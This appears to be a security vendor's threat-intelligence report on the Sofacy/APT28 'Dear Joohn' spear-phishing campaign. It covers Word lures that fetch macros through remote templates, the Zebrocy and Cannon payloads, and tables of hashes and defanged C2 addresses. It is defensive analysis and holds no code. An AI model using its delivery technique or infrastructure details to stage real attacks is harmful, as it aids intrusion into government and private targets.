# Dear Joohn: The Sofacy Group’s Global Campaign By Bryan Lee and Robert Falcone December 12, 2018 As alluded to in our previous blog regarding the Cannon tool, the Sofacy group (AKA Fancy Bear, APT28, STRONTIUM, Pawn Storm, Sednit) has persistently attacked various government and private organizations around the world from mid-October 2018 through mid-November 2018. The majority of targets were NATO-aligned nation states, although several former USSR nation states were also targeted. The attacks primarily deployed variants of the Zebrocy tool, which we have previously analyzed. A smaller subset of the delivery documents delivered Cannon or a Zebrocy Delphi variant as reported by ESET. Since we began tracking the use of Zebrocy going back to mid-2015, we have observed a significant increase in frequency of deployment of this tool. Compared to other backdoor tools associated with the Sofacy group, the use of Zebrocy in attack campaigns is far more widespread. The cluster of activity we detail in this blog revolves primarily around a common author name used in each of the delivery documents: Joohn. Our initial sample of interest was the delivery document using the filename `crash list(Lion Air Boeing 737).docx`, which delivered the Zebrocy tool. By leveraging our AutoFocus threat intelligence platform in conjunction with data collected from VirusTotal, we were able to pivot from artifacts discovered in the metadata and behaviors to discover the Cannon tool, as well as a number of additional delivery documents, payloads, and targets. The attack vector for all of these attacks appears to be via spear-phishing, using email accounts registered to legitimate email providers instead of spoofed email addresses or previously compromised accounts. The account names visually look similar to legitimate government organization names or other trusted third-party entities. The delivery documents were functionally all similar, using the remote template function in Microsoft Word to retrieve a malicious macro from the first stage C2 and ultimately loading and executing an initial payload. The majority of delivery documents contain a generic lure image requesting the victim enable macros with no additional content, the adversaries seemingly relying solely on lure filenames to entice victims to launch the malicious document. In all, we intercepted nine weaponized documents spanning from October 17, 2018 through November 15, 2018, all sharing the same Joohn author name and delivering variants of either Zebrocy or Cannon. The target radius of our dataset spans four continents, covering government agencies at the federal level all the way to local government agencies. We also conducted timeline analysis using the collected data which allowed us to discover how the Sofacy group timed their attacks in the Dear Joohn campaign and also how they may have crafted their attacks using automated tools. ## Attack Details Beginning on October 17, 2018, we collected a total of nine delivery documents sent to a multitude of organizations around the world. The targets included a foreign affairs organization in North America, foreign affairs organizations in Europe, as well as government entities in former USSR states. We also discovered evidence of possible targeting of local law enforcement agencies around the world, covering North America, Australia, and Europe. Our telemetry also showed possible targeting of NGOs, marketing firms, as well as organizations in the medical industry. The attack vector of these attacks was all via spear-phishing, using email accounts registered to the free email provider Seznam, a popular web services provider located in the Czech Republic. In this campaign, the Sofacy group appears to have relied heavily on filenames to lure victims into launching the weaponized documents. Filenames ranged from topics alluding to Brexit, the Lion Air crash, and recent rocket attacks in Israel. The full list of filenames we were able to collect can be seen in Table 1. Although the filenames appeared to be highly targeted and pertinent to the victims, the actual lure content of the documents was far more generic. In November 2018, the adversary shifted tactics and began implementing non-generic lure content for their weaponized documents. We collected three samples heavily targeting NATO-aligned nation states at this time, using three different lures. In one of the documents, the victim is presented with what appears to be an obfuscated document with the NATO EOD seal and text alluding to the targeted nation state. Unpacking the document revealed that the unobfuscated image was a screenshot of a cover page regarding a NATO workshop in the targeted nation state. The other two documents had very similar lures to each other, presenting garbled text to the target with instructions for the victim on how to properly view the document. Interestingly, one of them contained instructions in Russian, which may indicate the intended target was a Russian speaking nation-state. Each of these weaponized documents used the same tactic for their attacks. Upon opening the document, it leveraged the ability of Microsoft Word to retrieve a remote template to then load a malicious macro. If the C2 server is active at the time the document is opened, it will successfully retrieve the malicious macro and load it in the same Microsoft Word session. The victim will then see a prompt to Enable Content as with any malicious macro document. If the C2 server is not active at this time, the download will fail and the victim will not receive a prompt to Enable Content as no macro is downloaded. ## Clustering The delivery documents used in the October and November waves shared a large number of similarities, which allowed us to cluster the activity together. Most notably, the author name Joohn was used repeatedly in each delivery document. There was a slight deviation in the November grouping, where the three samples we collected still used the Joohn author name for the last modified field but reverted to a default USER/user author name for the creator field. | Hash | Filename | Created | Last | Remote | |--------------------|---------------------------------------|--------------|--------------|--------------------------| | c20e5d56b3.. | 1500029.docx | Joohn | Joohn | 185.203.118[.]198 | | abfc14f7f7.. | Passport.docx | Joohn | Joohn | 185.203.118[.]198 | | 40318f3593.. | DN_325_170428_DEA Narcotics | Joohn | Joohn | 145.249.105[.]165 | | | Investigation Course invitation.docx | | | | | 5749eb9d7b.. | 2018_10_13_17_15_21.docx | Joohn | Joohn | 145.249.105[.]165 | | 2cfc4b3686.. | crash list(Lion Air Boeing 737).docx | Joohn | Joohn | 188.241.58[.]170 | | af77e845f1.. | Заявление.docx | Joohn | Joohn | 188.241.58[.]170 | | 34bdb5b364.. | Rocket attacks on Israel.docx | user | Joohn | 109.248.148[.]42 | | 79bd5f3486.. | 201811131257.docx | USER | Joohn | 109.248.148[.]42 | | 77ff53211b.. | Brexit 15.11.2018.docx | USER | Joohn | 109.248.148[.]42 | The remote template documents retrieved by the delivery documents also shared a common author name, using the string xxx. These initial C2 IP addresses not only hosted the remote templates that subsequently load the first-stage Zebrocy or Cannon payloads, but the IP addresses also hosted the C2 server for the first-stage payloads themselves. All C2s used in the Dear Joohn campaign were IP-based and examining the infrastructure did not provide significant overlap or relationships with previous Zebrocy or Sofacy infrastructure. We created a timeline of the activity based on the data we collected, and found that the attack dates were tightly clustered into two waves in mid- to late-October and in mid-November. Based on the timestamps we have, four delivery documents were initially created on September 11, 2018. These four were then all modified on the same date and time on October 13, 2018. Having three different C2 locations embedded inside these delivery documents while maintaining the exact same timestamping may indicate the use of an automated tool. ## The Payloads The delivery documents in this attack campaign loaded remote templates whose macros installed a variety of first-stage payloads. With the notable exception of the Cannon tool, the first-stage tools are all variants of the Zebrocy Trojan. The Zebrocy variants delivered in this campaign were written in several different languages, including Delphi, C#, and VB.NET. | SHA256 | Compiled | Variant | C2 | |--------------------|-----------------|------------------------|--------------------------| | 5173721f30.. | 10/23/18 | C# Zebrocy | 145.249.105[.]165 | | 61a1f3b4fb.. | 11/1/18 | C# Cannon | sahro.bella7[at]post.cz | | 6ad3eb8b56.. | 6/19/92 | Delphi Zebrocy | 188.241.58[.]170 | | 9a0f00469d.. | 10/25/18 | C# Zebrocy | 145.249.105[.]165 | | b41480d685.. | 6/19/92 | Delphi Zebrocy | 109.248.148[.]42 | | c91843a69d.. | 6/19/92 | Delphi Zebrocy | 185.203.118[.]198 | | e5aece694d.. | 11/13/18 | VB.NET Zebrocy | 109.248.148[.]42 | The Delphi variant of Zebrocy delivered in this attack campaign is very similar to the Delphi downloader discussed in our previous Zebrocy research published in June 2018. While this Delphi variant was known, the C# and VB.NET variants delivered in this attack campaign were previously unknown. An interesting note on these payloads is that all the Delphi payloads delivered in this campaign were packed with UPX, while none of the other payloads were packed. The Sofacy group continues their attacks on organizations across the globe using similar tactics and techniques. We observed them carrying out attacks via spear-phishing emails in late October through November, often leveraging current events within filenames to entice recipients to open the malicious attachments. The group clearly shows a preference for using a simple downloader like Zebrocy as first-stage payloads in these attacks. The group continues to develop new variations of Zebrocy by adding a VB.NET and C# version, and it appears that they also have used different variants of the Cannon tool in past attack campaigns.